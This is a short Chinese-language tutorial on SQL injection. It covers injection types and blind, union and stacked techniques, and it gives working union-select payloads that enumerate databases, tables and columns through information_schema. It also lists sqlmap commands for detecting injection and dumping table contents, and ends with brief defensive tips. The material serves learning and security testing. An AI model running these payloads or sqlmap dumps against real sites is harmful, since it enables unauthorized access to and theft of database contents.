什么是sql 结构化查询语言(Structured Query Language),是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统; 如何去发现sql注入 a 通过web漏洞扫描器 b在参数后面添加错误语句 c大量的对参数fuzz测试 d直觉 注入分类 数字型注入 SELECT * FROM users WHERE id=$id LIMIT 0,1; 字符型注入 SELECT * FROM users WHERE username=‘admin' LIMIT 0,1; 注入提交方式 get post cookie http头部注入

注入方式 基于报错注入 基于布尔的盲注 基于时间的盲注 联合查询 内联查询 堆叠的查询

SQL手工注入 为什么要学习手工注入? 1.猜解字段 2.查看当前数据库 3.Union select 1,group_concat(schema_name),3 from information_schema.schemata%23 // 查询所有数据库 4.union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23 //查询数据库中的表 5.UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name = 0x7573657273%23 //查询表名中的所有字段

SQLMap工具使用 使用环境: python http://sqlmap.org

sqlmap常用参数

  1. 判断注入 python sqlmap.py http://URL -v 3
  2. 数据库 python sqlmap.py http://URL --dbs -v 3 python sqlmap.py http://URL –current-user -v 3
  3. 表名 python sqlmap.py http://URL --tables -D 数据库名 -v 3
  4. 字段名 python sqlmap.py http://URL --column -T 表名 -D 数据库名 -v 3
  5. 内容 python sqlmap.py http://URL --dump -T -C 字段名 -T 表名 -D 数据库名 -v 3

post如何使用sqlmap注入

如何去防护SQL注入? cdn隐藏真实ip地址 通过安全函数进行过滤 对数据库最小权限设置 服务器针对性的waf防火墙